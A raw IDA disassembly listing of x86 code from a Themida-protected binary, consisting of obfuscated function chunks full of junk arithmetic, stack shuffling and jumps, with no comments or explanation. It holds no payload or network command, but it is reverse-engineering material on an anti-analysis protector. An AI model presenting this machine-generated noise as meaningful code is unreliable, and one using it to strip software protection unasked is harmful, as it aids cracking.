; START	OF FUNCTION CHUNK FOR sub_5998AB


loc_5A65A0:				; CODE XREF: sub_5998AB+D9C9j
		add	esp, 4
		pop	ecx
		jmp	sub_5A6BC6
; END OF FUNCTION CHUNK	FOR sub_5998AB
; ---------------------------------------------------------------------------


loc_5A65AC:				; CODE XREF: Themida_:005AAE2Fj
		sub	ecx, 1006704Fh
		add	ecx, eax
		add	ecx, 1006704Fh
		mov	eax, [esp]
		add	esp, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5AEB34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2735


loc_5A65DA:				; CODE XREF: sub_5A2735+66D0j
		add	esp, 4
		xor	ebx, 32034721h
		push	edx
		jmp	loc_5ABA26
; END OF FUNCTION CHUNK	FOR sub_5A2735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A65E9:				; CODE XREF: sub_5A7343-DC80j
		pop	edx
		add	edx, ecx
		mov	ecx, [esp+0Ch+var_C]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5A4B80
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EF66


loc_5A65FD:				; CODE XREF: sub_59EF66+9C53j
		pop	edx
		and	eax, ebx
		push	[esp-4+arg_0]
		jmp	loc_5A101B
; END OF FUNCTION CHUNK	FOR sub_59EF66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5A6608:				; CODE XREF: sub_5986D6+9C25j
		mov	[esp+10h+var_10], esi
		push	[esp+10h+var_C]
		pop	esi
		jmp	loc_59CAE4
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A6615:				; CODE XREF: sub_59D99C+15D3j
		push	esi
		mov	esi, 420976DDh
		jmp	loc_59E215
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5A6620:				; CODE XREF: sub_5A600F-D3B5j
		push	esi
		push	4B4FBCB1h
		pop	esi
		sub	ebp, 4D0F168Fh
		sub	ebp, esi
		add	ebp, 4D0F168Fh
		jmp	loc_59D18B
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------


loc_5A663A:				; CODE XREF: Themida_:005A12D6j
		push	edx
		not	dword ptr [esp]
		pop	edx
		sub	edx, 0BE988B7Dh
		mov	ebx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5A49D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A6662:				; CODE XREF: sub_5A8C33-2E1Dj
		shl	ebx, 2
		jmp	loc_59C870
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_5A666A:				; CODE XREF: Themida_:0059E7ACj
		mov	ebp, [esp]
		jmp	loc_597CCA
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_597B5F

; =============== S U B	R O U T	I N E =======================================



sub_5A667A	proc near		; CODE XREF: Themida_:005AC719j
					; DATA XREF: Themida_:00597ACCo

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059D05B SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005ABDA0 SIZE 0000001A BYTES

		push	5D22h
		push	edx
		mov	edx, esp
		jmp	loc_5ABDA0
sub_5A667A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A6687:				; CODE XREF: sub_59D99C+8BD9j
		mov	[esp+10h+var_10], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		xor	eax, ebx
		pop	ebx
		push	60B7h
		mov	[esp+10h+var_10], edi
		mov	edi, 55397505h
		xor	edi, 1E70E08h
		push	edi
		push	eax
		mov	edi, [esp+18h+var_18]
		jmp	sub_5A80D3
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADCDE


loc_5A66BA:				; CODE XREF: sub_5ADCDE-CEEEj
		push	esi
		push	ecx
		pop	esi
		mov	ecx, [esp+0]
		jmp	sub_5AE1A9
; END OF FUNCTION CHUNK	FOR sub_5ADCDE
; ---------------------------------------------------------------------------


loc_5A66C5:				; CODE XREF: Themida_:00599D02j
		mov	[esp], esp
		jmp	loc_5A29D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A30BD


loc_5A66CD:				; CODE XREF: sub_5A30BD+1j
		mov	ebx, 0E2157Eh
		neg	ebx
		shr	ebx, 5
		sub	ebx, 0C57BC2ADh
		sub	ebp, ebx
		pop	ebx
		add	ebp, edi
		jmp	sub_59AFAC
; END OF FUNCTION CHUNK	FOR sub_5A30BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_5A66E7:				; CODE XREF: sub_5A0F44+93Cj
		or	ecx, 5E991307h
		jmp	loc_5ACA71
; END OF FUNCTION CHUNK	FOR sub_5A0F44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5A66F2:				; CODE XREF: sub_5A3F42-3FCAj
		shr	edi, 4
		add	edi, 3D4424CBh
		add	edi, 0C5F1901h
		jge	loc_5A1E88
		add	edi, 0BE15CE73h
		push	49F2h


loc_5A6712:				; CODE XREF: sub_599059+106D5j
		push	esp
		mov	edi, [esp+10h+var_10]
		add	esp, 4
		push	0A6Eh
		mov	[esp+10h+var_10], ebp
		mov	ebp, 4
		add	edi, 4ADF0783h
		push	ecx
		push	6625195Ch
		jmp	loc_597F47
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5A673A:				; CODE XREF: sub_597F0C:loc_5A7332j
		xor	ebp, 973B5770h
		jmp	loc_5AAFF3
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------


loc_5A6745:				; CODE XREF: Themida_:0059E77Aj
		jmp	loc_597B5F
; ---------------------------------------------------------------------------


loc_5A674A:				; CODE XREF: Themida_:005A7604j
		shl	ecx, 7
		xor	ecx, 33CC4D02h
		jmp	loc_598695
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5A6758:				; CODE XREF: sub_5A600F-4096j
		inc	ebx
		jp	loc_5A8677
		xor	ebx, 680770F5h
		push	72C2h
		mov	[esp+14h+var_14], ecx
		mov	ecx, 36BC2C36h
		dec	ecx
		push	ecx
		inc	dword ptr [esp+0]
		pop	ecx
		neg	ecx
		sub	ecx, 0E1702FEh
		jmp	loc_5AAA20
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------


loc_5A6785:				; CODE XREF: Themida_:00598155j
		push	ebx
		jmp	loc_5A3A93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_5A678B:				; CODE XREF: sub_5AC402+117j
		or	ebx, 435223FAh
		jmp	loc_5A08BE
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------


loc_5A6796:				; CODE XREF: Themida_:005A617Dj
		mov	[esp], ecx
		mov	ecx, 798B4956h
		inc	ecx
		jmp	loc_5A9980
; ---------------------------------------------------------------------------


loc_5A67A4:				; CODE XREF: Themida_:005AAF22j
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		sub	esi, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	ebx
		jmp	loc_59ED6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A67BE:				; CODE XREF: sub_59B707+FB7Dj
		xor	ebp, [esp+10h+var_10]
		xor	[esp+10h+var_10], ebp
		xor	ebp, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		mov	[esp+10h+var_10], ecx
		jmp	loc_5A3FA6
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------


loc_5A67D2:				; CODE XREF: Themida_:005A019Aj
		pop	esi
		jmp	loc_59DAEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A58AC


loc_5A67D8:				; CODE XREF: sub_5A58AC-3581j
		pop	edi
		jmp	loc_5A0AEE
; END OF FUNCTION CHUNK	FOR sub_5A58AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A67DE:				; CODE XREF: sub_59B707:loc_5A3412j
		and	edx, 42D86675h
		jmp	loc_5A9E08
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAA81


loc_5A67E9:				; CODE XREF: sub_5AAA81-A94Aj
		add	eax, 0CEE64C72h
		mov	ebx, eax
		pop	eax
		sub	eax, 5D1D3134h
		jmp	loc_5A558F
; END OF FUNCTION CHUNK	FOR sub_5AAA81
; ---------------------------------------------------------------------------


loc_5A67FB:				; CODE XREF: Themida_:0059F90Bj
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5A3ABD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D832


loc_5A6809:				; CODE XREF: sub_59D832+B217j
		shl	edx, 7
		add	edx, 83220884h
		add	eax, 6CA27443h
		add	eax, edx
		sub	eax, 6CA27443h
		pop	edx
		push	ebp
		push	eax
		mov	eax, 40A8525Eh
		mov	ebp, 0EFAEAF10h
		jmp	loc_5A0DB3
; END OF FUNCTION CHUNK	FOR sub_59D832
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A6830:				; CODE XREF: sub_5A8C33-10801j
		xchg	eax, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		push	ecx
		jmp	loc_5A9EA9
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A683C:				; CODE XREF: sub_59B707+14D3j
		mov	esp, [esp-8+arg_2+2]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 11DC54B8h
		add	[esp-4+arg_2+2], ebp
		jmp	loc_5A2F99
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A6853:				; CODE XREF: sub_5A7343+6CCCj
		xchg	edi, [esp+0]
		pop	esp
		mov	[esp+1Ch+var_1E+2], edx
		mov	dl, 0E0h
		sub	dl, 0C2h
		ja	loc_5A8B43
		jmp	sub_5AEBAF
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
		xor	ebp, 7CEE6B72h
		mov	eax, ebx


loc_5A6872:				; CODE XREF: Themida_:0059EC69j
		push	ebx
		mov	bh, 0BDh
		and	bh, 68h
		sub	bh, 0FAh
		add	ah, bh
		pop	ebx
		push	ecx
		mov	ch, ah
		mov	bh, ch
		jmp	loc_5A192C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A6888:				; CODE XREF: sub_5A8C33-75CCj
		push	eax
		mov	eax, 26F5090Ch
		sub	[esp-14h+arg_16+2], eax
		mov	eax, [esp-14h+arg_10]
		jmp	sub_598D67
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_5A689A:				; CODE XREF: Themida_:0059A383j
		push	7F2Fh
		mov	[esp], eax
		mov	eax, 0BFBC194Ah
		sub	edi, eax
		pop	eax
		jmp	loc_5A37E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A989A


loc_5A68AF:				; CODE XREF: sub_5A989A-2A7Aj
		mov	edx, 1EF55F4Ah
		sub	edx, 64C97BBBh
		jmp	loc_5A140B
; END OF FUNCTION CHUNK	FOR sub_5A989A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5A68BF:				; CODE XREF: sub_59A932+C1E8j
		shl	eax, 7
		jmp	loc_59B642
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_5A68C7:				; CODE XREF: sub_59D7E7-F1Fj
		pop	eax
		xor	ebx, 10401081h
		add	eax, ebx
		pop	ebx
		add	eax, 2
		xchg	eax, [esp-4+arg_0]
		jmp	loc_5AD949
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4F3D


loc_5A68DC:				; CODE XREF: sub_5A4F3D:loc_5A6448j
		sub	edi, 29843449h
		xor	edi, 19E62D8h
		jle	loc_5AB8AA
		and	edi, 80E081Fh
		jns	loc_5A808F
		mov	ah, dl
		pop	ebp
; END OF FUNCTION CHUNK	FOR sub_5A4F3D
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5A68FD:				; CODE XREF: sub_5AE6FD-F3FEj
		not	cl
		add	cl, 4Bh
		jns	loc_5AA6AA
		sub	cl, 0ECh
		mov	al, cl
		pop	ecx
		not	al
		dec	al
		xor	al, 0FEh
		add	bl, al
		pop	eax
		add	bl, 0E4h
		jmp	loc_59D944
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE24


loc_5A691F:				; CODE XREF: sub_59EE24-DFj
		mov	[esp+0], edx
		mov	edx, esp
		push	135h
		mov	[esp+4+var_4], edi
		push	ebp
		mov	ebp, 2B435CC9h
		jmp	loc_5A7399
; END OF FUNCTION CHUNK	FOR sub_59EE24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A6937:				; CODE XREF: sub_599059+1104Fj
		sub	edi, edx
		pop	edx
		jmp	loc_5A4FED
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------


loc_5A693F:				; CODE XREF: Themida_:00599B1Bj
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		jmp	loc_5AC69B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A694F:				; CODE XREF: sub_59D99C+727j
		push	edi
		mov	edi, 73784DC3h
		jmp	loc_5AE249
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A980C


loc_5A695A:				; CODE XREF: sub_5A980C-6390j
		mov	edx, 72402C3Bh
		push	eax
		mov	eax, 49CC332Ch
		or	edx, eax
		pop	eax
		xor	edx, 538B2301h
		jmp	loc_59ACA7
; END OF FUNCTION CHUNK	FOR sub_5A980C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACCE


loc_5A6973:				; CODE XREF: sub_59ACCE+805Bj
		mov	eax, 3A5A6E0Eh
		jmp	loc_5A5EF9
; END OF FUNCTION CHUNK	FOR sub_59ACCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD76F


loc_5A697D:				; CODE XREF: sub_5AB98B-4F60j
					; sub_5AD76F-2D1j
		or	eax, eax
		jnz	loc_598F63
		push	ecx
		push	2D6A0DD6h
		push	[esp-8+arg_4]
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A1D68
; END OF FUNCTION CHUNK	FOR sub_5AD76F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A69A5:				; CODE XREF: sub_5AC95F-BC92j
		mov	[esp+0Ch+var_C], ebx
		jmp	loc_5A83FC
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		push	small 50D1h
		jmp	loc_59F989
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A69BA:				; CODE XREF: sub_59D99C-1CC6j
		inc	ecx
		add	ecx, 5B0D5EC8h
		jle	loc_5A63C3
		add	ecx, 0A722C13Ch
		mov	ebx, ecx
		jmp	loc_59D754
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABA9B


loc_5A69D4:				; CODE XREF: sub_5ABA9B-6C0Aj
		add	eax, edi
		jmp	loc_5A38BE
; END OF FUNCTION CHUNK	FOR sub_5ABA9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_5A69DB:				; CODE XREF: sub_5AB3DC+2Fj
		sub	edi, ecx
		pop	ecx
		xor	ebx, edi
		pop	edi
		xor	edi, ebx
		pop	ebx
		jmp	loc_5AA36D
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------


loc_5A69E9:				; CODE XREF: Themida_:005A18E9j
		pop	ecx
		push	334Ah
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 0EAF70B6h
		push	eax
		mov	eax, 67152903h
		and	eax, 687C44B0h
		xor	eax, 7FDD2070h
		xor	edx, eax
		jmp	loc_59C9A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1076


loc_5A6A1A:				; CODE XREF: sub_5A1076+8F4Bj
		neg	edx
		jmp	loc_5A106F
; END OF FUNCTION CHUNK	FOR sub_5A1076
; ---------------------------------------------------------------------------


loc_5A6A21:				; CODE XREF: Themida_:005A835Cj
		add	bl, dh
		jmp	loc_5A7BA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_5A6A28:				; CODE XREF: Themida_:005A5BEDj
					; sub_5AB98B+151Aj
		shr	ebp, 2
		jz	loc_5A697D
		jmp	loc_5A16FE
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB601


loc_5A6A36:				; CODE XREF: sub_5AB601+6j
		pop	small [esp+4+var_4]
		jmp	loc_5ADC7D
; END OF FUNCTION CHUNK	FOR sub_5AB601
; ---------------------------------------------------------------------------


loc_5A6A3F:				; CODE XREF: Themida_:0059FD62j
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	42DDh
		jmp	loc_59801B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A6A61:				; CODE XREF: sub_59D99C+4AD6j
		not	ebp
		xchg	ebp, edx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	ecx
		mov	ecx, esp
		jmp	loc_5A526C
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DBFF


loc_5A6A73:				; CODE XREF: sub_59DBFF+5BF7j
		add	esp, 4
		jmp	loc_59DE10
; END OF FUNCTION CHUNK	FOR sub_59DBFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A72FB


loc_5A6A7B:				; CODE XREF: sub_5A72FB-B934j
		add	ebp, ebx
		pop	ebx
		jmp	loc_599748
; END OF FUNCTION CHUNK	FOR sub_5A72FB
; ---------------------------------------------------------------------------


loc_5A6A83:				; CODE XREF: Themida_:005AE8FCj
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 1
		jmp	loc_59E875
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A34FD


loc_5A6A97:				; CODE XREF: sub_5A34FD-B0A0j
		mov	cl, dh
		pop	edx
		sub	dh, cl
		jmp	loc_5AD1F9
; END OF FUNCTION CHUNK	FOR sub_5A34FD
; ---------------------------------------------------------------------------


loc_5A6AA1:				; CODE XREF: Themida_:005A4FBCj
		pop	eax
		sub	edx, ecx
		add	edx, 42032F9Fh
		mov	ecx, [esp]
		push	esi
		jmp	loc_598701
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5A6AB3:				; CODE XREF: sub_59C53B-46FDj
		jmp	loc_59D050
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A6AB8:				; CODE XREF: sub_5A1B2A+9j
					; sub_5AB511+2F1j
		mov	edx, 4C9F5181h
		and	edi, edx
		jmp	loc_5A9AE5
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------


loc_5A6AC4:				; CODE XREF: Themida_:005A786Cj
		add	esp, 4
		push	edi
		push	ebp
		mov	ebp, 64870929h
		mov	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	edi, 1C51980h
		and	edx, edi
		pop	edi
		push	ebp
		mov	ebp, 0
		sub	ebp, edx
		jmp	loc_5AB00D
; ---------------------------------------------------------------------------


loc_5A6AEF:				; CODE XREF: Themida_:005A9AF7j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 1718228Eh
		inc	eax
		sub	eax, 22E612A1h
		or	eax, 4C0B23DAh
		jmp	loc_59D69B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5A6B10:				; CODE XREF: sub_59A932+9E25j
		mov	eax, 56A271D3h
		xor	eax, 2FB2410Dh
		jmp	loc_5A68BF
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_5A6B1F:				; CODE XREF: sub_598D67+AAF2j
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		jmp	loc_5AD579
; END OF FUNCTION CHUNK	FOR sub_598D67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D832


loc_5A6B2A:				; CODE XREF: sub_59D832-4431j
		mov	edx, 1DF176AAh
		push	ebp
		mov	ebp, 7088581Bh
		and	ebp, 44300AF2h
		and	ebp, 27126B4Dh
		jmp	loc_59A16C
; END OF FUNCTION CHUNK	FOR sub_59D832
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5A6B46:				; CODE XREF: sub_59FFBE+1011j
		add	eax, ebp
		add	eax, 106F6C0Dh
		mov	ebp, [esp-0Ch+arg_8]
		add	esp, 4
		jmp	loc_5A01D7
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------


loc_5A6B58:				; CODE XREF: Themida_:005A6138j
		mov	ecx, 3000954h
		jmp	loc_59B0B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A6B62:				; CODE XREF: sub_5A7343-1C0Bj
		add	eax, edi
		push	ebx
		jmp	loc_59A3DF
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A6B6A:				; CODE XREF: sub_5A7343-CF5Cj
					; sub_59B707+8BBCj
		xor	ebx, 240687E8h
		sub	eax, ebx
		pop	ebx
		add	eax, 743E1D48h
		pop	edi
		push	12Eh
		mov	[esp-14h+arg_10], ebp
		sub	esp, 4
		mov	[esp-10h+arg_C], esp
		jmp	sub_59ACCE
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F73C


loc_5A6B8C:				; CODE XREF: sub_59F73C-6CAEj
					; sub_59B923+100EEj
		push	ecx
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59F73C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5A6B93:				; CODE XREF: sub_59FFBE+14j
		sub	eax, 662D4D2Ah
		pop	ebx
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		push	5BD5h
		mov	[esp+4+var_4], edx
		mov	edx, 2B0403D5h
		shr	edx, 4
		not	edx
		shl	edx, 3
		push	1705h
		mov	[esp+8+var_8], eax
		mov	eax, 667E0C83h
		jmp	loc_599129
; END OF FUNCTION CHUNK	FOR sub_59FFBE

; =============== S U B	R O U T	I N E =======================================



sub_5A6BC6	proc near		; CODE XREF: sub_5998AB+CCFCj

; FUNCTION CHUNK AT 005A8888 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, 5B780575h
		xor	ebp, 5B780571h
		add	edi, ebp
		pop	ebp
		xor	edi, [esp+0]
		jmp	loc_5A8888
sub_5A6BC6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A337E


loc_5A6BDD:				; CODE XREF: sub_5A337E-A1CCj
		mov	edx, esp
		add	edx, 4
		push	edi
		push	ecx
		push	ebp
		jmp	loc_5ACBF9
; END OF FUNCTION CHUNK	FOR sub_5A337E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_5A6BED:				; CODE XREF: sub_5A141E-57CFj
		push	edi
		push	53F3h
		mov	[esp+0], esi
		jmp	loc_5981C6
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A6BFB:				; CODE XREF: sub_59D99C+27E5j
		pop	ecx
		jmp	sub_59A03D
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_5A6C01:				; CODE XREF: sub_5A0F44+9DF4j
		xor	ebx, ecx
		jmp	loc_5A0319
; END OF FUNCTION CHUNK	FOR sub_5A0F44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A6C08:				; CODE XREF: sub_5A7343:loc_5AA863j
		neg	esi
		and	esi, 34346CFFh
		sub	esi, 13667CB2h
		jmp	loc_5AD0DB
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_5A6C1B:				; CODE XREF: sub_5A0F44-EBj
					; Themida_:005ACF69j
		mov	[esp-8+arg_4], ebp
		sub	esp, 4
		mov	[esp-4+arg_0], esp
		push	esi
		mov	esi, 4
		jmp	loc_5A2E78
; END OF FUNCTION CHUNK	FOR sub_5A0F44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A6C32:				; CODE XREF: sub_5A8C33-BD93j
		sub	ecx, 2AB2674Eh
		jg	loc_59EF38
		neg	ecx
		jp	loc_597EC7
		sub	ecx, 6CE84E8Bh
		pop	esp


loc_5A6C4D:				; CODE XREF: sub_59ACEC:loc_5A1F20j
		not	ebx
		jmp	loc_5A8946
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5A6C54:				; CODE XREF: sub_597F0C+10396j
		sub	ecx, edx
		pop	edx
		jmp	loc_5AC5C1
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------


loc_5A6C5C:				; CODE XREF: Themida_:005A7109j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A9939
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A6C6F:				; CODE XREF: sub_59D99C+C9AEj
		add	eax, ebp
		add	eax, 7E15CF8h
		mov	ebp, [esp+16h+var_18+2]
		jmp	loc_5A18C8
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A6C7E:				; CODE XREF: sub_59B707+765j
					; sub_59D151:loc_59BF1Cj
		dec	ebx
		jmp	loc_5ADD1D
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FDC7


loc_5A6C84:				; CODE XREF: sub_59FDC7+A4A5j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+14h+var_14]
		pop	esp
		add	esp, 4
		push	46F9h
		mov	[esp+10h+var_10], ebx
		push	5BE7h
		mov	[esp+14h+var_14], eax
		mov	eax, 2C945D3Ch
		push	173Ch
		mov	[esp+18h+var_18], edx
		mov	edx, 70F7320h
		jmp	loc_59B2BD
; END OF FUNCTION CHUNK	FOR sub_59FDC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C683


loc_5A6CC3:				; CODE XREF: sub_59C683+42F8j
		shr	ecx, 3
		xor	ecx, 8F62F005h
		push	ecx
		sub	[esp+10h+var_10], 0C2938CEh
		pop	ebx
		add	ebx, 0C2938CEh
		pop	ecx
		add	ebx, eax
		push	[esp+8+var_8]
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		jmp	sub_5A462F
; END OF FUNCTION CHUNK	FOR sub_59C683
; ---------------------------------------------------------------------------


